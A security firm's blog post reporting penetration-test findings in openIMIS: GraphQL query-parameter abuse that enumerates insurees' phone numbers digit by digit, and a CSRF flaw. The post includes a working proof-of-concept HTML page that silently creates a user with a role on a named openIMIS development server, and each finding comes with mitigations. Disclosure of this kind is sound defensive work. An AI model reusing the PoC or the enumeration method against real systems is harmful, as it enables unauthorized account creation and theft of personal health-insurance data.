Injection and Forgery attacks in openIMIS

Detecting Injection and Forgery attacks in openIMIS

June 11, 2024

Łukasz Ruzicki

Continuing our extensive openIMIS security testing, we identified critical vulnerabilities related to Injection and Forgery Attacks. These attacks include techniques such as SQL injection, Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF), which can compromise data integrity, allow unauthorized access, and manipulate system functionality. The following analysis provides a detailed framework for understanding these vulnerabilities, how they were identified, and the necessary steps we took to mitigate them.

Significance

Injection and Forgery Attacks can significantly impact openIMIS by exposing it to unauthorized data manipulation, information leakage, and system compromise. These vulnerabilities are listed in the OWASP Top 10 as some of the most common vulnerabilities affecting web applications. Ensuring the prevention of these attacks is crucial for protecting openIMIS from threats, maintaining data integrity, and safeguarding its users’ data and overall system functionality.

Testing and discovery

Testing approach

Our penetration testing framework, an enhanced version of the OWASP checklist tailored for web applications, guided our systematic approach to evaluating the security of openIMIS. Initially, our team leveraged our extensive experience with the system to gather information and prepare attack vectors specifically designed to uncover vulnerabilities within openIMIS.

Following this tailored threat modeling, we employed a suite of automated tools to scan and assess the overall state of the system’s security. This combination of expert knowledge and verified testing tools ensures comprehensive coverage and precision in identifying potential security weaknesses, particularly those related to Injection and Forgery Attacks.

At SolDevelo, our comprehensive software security services include advanced penetration testing and security audits tailored to uncover and mitigate vulnerabilities in systems like openIMIS.

Discovery

During the testing phase, our focus was broad yet targeted, encompassing a variety of potential security issues outlined in our testing framework:

GraphQL security: We assessed the configuration of GraphQL to ensure it was secure and ready for production deployment, validating all input fields against generic attacks.
Access controls: We ensured proper access controls were applied across the system, preventing unauthorized access and manipulation.
Cross-Site Request Forgery: We tested for vulnerabilities that could allow CSRF attacks, determining whether it was possible to initiate requests on a user’s behalf that were not initiated by the user.

The discovery process revealed several critical vulnerabilities, notably:

CSRF token: The CSRF token was found to be malfunctioning, as requests containing altered tokens were not being rejected as expected.
Insuree data access: Users could retrieve Insuree data through a query from the main page, and the Insuree search form also exhibited vulnerabilities.

Vulnerability analysis and mitigation

In this section, we’ll be discussing vulnerabilities uncovered in the openIMIS application, analyzing each issue individually and providing a comprehensive overview of its discovery, potential impact, recommended solutions, and real-world resolutions. Through these case studies, we aim to showcase the multifaceted nature of cybersecurity, where vulnerabilities must be handled with precision, often requiring a balance between ideal solutions and practical implementations.

Insuree GraphQL injection

How we tested it

We examined the Insuree search functionality on the openIMIS website to identify potential vulnerabilities related to GraphQL injection. Our testing approach included:

Analyzing the input handling for the Insuree search field.
Modifying search requests to test the impact of insecure input handling.
Using Burp Suite to manipulate query parameters and observe the application’s responses.

How we found it

During our assessment, we discovered that the application allowed insecure input handling, leading to potential GraphQL injection vulnerabilities:

Enumeration test: We found that users could enumerate Insurees by modifying requests and bypassing intended filters. This allowed access to Insurees outside the user’s scope.
Suffix injection: By adding specific arguments like _IstartsWith to the query parameters, we could iterate through Insuree data and retrieve sensitive information.
Input handling: The main search input accepted a wide range of characters, including special characters like ‘, #, and }, which could be exploited for injection attacks.

Example attack

By using the phone_Istartswith parameter, we could systematically retrieve phone numbers by iterating through each digit:

phone_Istartswith:”1″ response: null
phone_Istartswith:”2″ response: null
phone_Istartswith:”3″ response: null
phone_Istartswith:”4″ response: object {…}

Then proceed with the next digit:

phone_Istartswith:”41″ response: null
phone_Istartswith:”42″ response: null
phone_Istartswith:”43″ response: object {…}

Impact

Likelihood: High, due to the ease of exploitation.
Impact: High, as it can lead to unauthorized data access, data integrity compromise, and system instability.

Recommendations and mitigations

Immediate input sanitization

Frontend and backend input validation:
- Implement stringent input validation to ensure that only numeric characters are allowed in the Insuree search field.
- Prohibit the use of special characters in the input to prevent injection attacks.
Backend security measures:
- Ensure the backend is secured to prevent data leaks by enforcing strict input validation and sanitization.
- Implement proper rights checks on the server for each field to ensure that users cannot access more data than they are authorized to view.

Rate limiting and monitoring

Query rate limiting:
- Apply rate limiting on the Insuree search functionality to mitigate the risk of enumeration attacks.
- Monitor and throttle excessive requests to protect against automated data extraction attempts.
Logging and alerting:
- Implement logging and alerting mechanisms to detect and respond to suspicious query patterns indicative of injection attacks.
- Regularly review logs for unusual activity and take appropriate action to secure the system.

By integrating these measures, openIMIS enhances its defense against GraphQL injection attacks, ensuring the secure handling of Insuree data and maintaining the integrity and stability of the system. This comprehensive approach to input validation and backend security protects sensitive information and mitigates the risk of unauthorized access.

Cross-Site Request Forgery

How we tested it

We conducted a targeted assessment of the openIMIS web application to identify vulnerabilities related to CSRF. Our testing approach included:

Using Burp Suite to intercept and analyze requests to determine the presence and functionality of CSRF tokens.
Crafting a Proof of Concept (PoC) to simulate a CSRF attack by creating a malicious HTML page that could execute unauthorized actions on behalf of an authenticated user.

How we found it

During our assessment, we discovered that the application was vulnerable to CSRF attacks under specific conditions:

Request interception and analysis: Using Burp Suite, we intercepted requests and observed whether they included CSRF tokens. We found that valid functionalities like resetting passwords or creating new users did not consistently include CSRF tokens.
Proof of Concept: We created a PoC that executed a POST request to the application’s API endpoint to create a new user. This PoC demonstrated that an attacker could craft malicious requests that the application would process as legitimate, without proper CSRF validation.
CSRF token bypass: While attempting to manipulate the CSRF token, we discovered that the application would still process the request even if the token was altered or omitted, indicating a failure in CSRF protection mechanisms.

Example Attack

Copy Code

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF PoC</title>
</head>
<body>
    <h2>CSRF Proof of Concept</h2>
    <p>If you are logged into dev-mssql.s1.openimis.org, clicking the button below will attempt to create a new user named csrf_usr.</p>
    <button onclick="performCSRF()">Create User</button>
    <script>
        function performCSRF() {
            var data = JSON.stringify({
                query: "\n mutation ($input: CreateUserMutationInput!) {\n createUser(input: $input) {\n clientMutationId\n internalId\n }\n }\n ",
                variables: {
                    input: {
                        uuid: null,
                        username: "csrf_usr",
                        userTypes: ["INTERACTIVE"],
                        lastName: "John",
                        otherNames: "John",
                        email: "[email protected]",
                        password: "pass",
                        healthFacilityId: null,
                        districts: ["20"],
                        locationId: null,
                        language: "en",
                        roles: ["7"],
                        substitutionOfficerId: null,
                        clientMutationLabel: "Create user",
                        clientMutationId: "c5d63134-84e0-4c52-8896-6c86dc43a001"
                    }
                }
            });

            fetch("https://dev-mssql.s1.openimis.org/api/graphql", {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: data
            })
            .then(response => response.json())
            .then(data => console.log("Success:", data))
            .catch((error) => console.error("Error:", error));
        }
    </script>
</body>
</html>

Impact

Likelihood: High, due to ease of exploitation and the widespread nature of CSRF vulnerabilities.
Impact: High, as it can lead to unauthorized actions such as changing user settings, and posting unauthorized content.

Recommendations and mitigations

CSRF protection implementation

Consistent use of CSRF tokens:
- Ensure that all sensitive actions within the application require a CSRF token, if the JSON Web Token (JWT) is not required. This includes functionalities like resetting passwords, creating new users, and modifying account settings.
- Tokens should be unique for each session and should be validated on the server side for every request.
Token validation:
- Implement strict validation of CSRF tokens to ensure they cannot be bypassed or altered. If a request lacks a valid CSRF token, it should be rejected.
Use of JWT authentication:
- When JWT are present, CSRF checks may not be necessary as JWTs are not automatically included in cross-site requests. Ensure proper implementation of JWT authentication to enhance security.
- For requests that do not include JWTs, enforce CSRF token checks to prevent forgery.

Code review and security enhancements:

Review code for CSRF bypasses:
- Conduct a thorough review of the application code to identify and rectify any intentional or unintentional bypasses of CSRF protection.
- Ensure that CSRF protections are robust and cannot be easily circumvented.
Implement secure headers:
- Use secure headers such as X-Frame-Options, X-Content-Type-Options, and Content-Security-Policy to add additional layers of security against CSRF and other web vulnerabilities.

By integrating these measures, openIMIS enhances its defense against CSRF attacks, ensuring that all user actions are legitimate and authorized. This comprehensive approach to CSRF protection helps maintain the integrity and security of the application, safeguarding against unauthorized actions and potential exploits.

Technologies used

Better safe than sorry

By partnering with SolDevelo, you can benefit from our extensive expertise in software security services, ensuring your systems are robust and secure against various threats.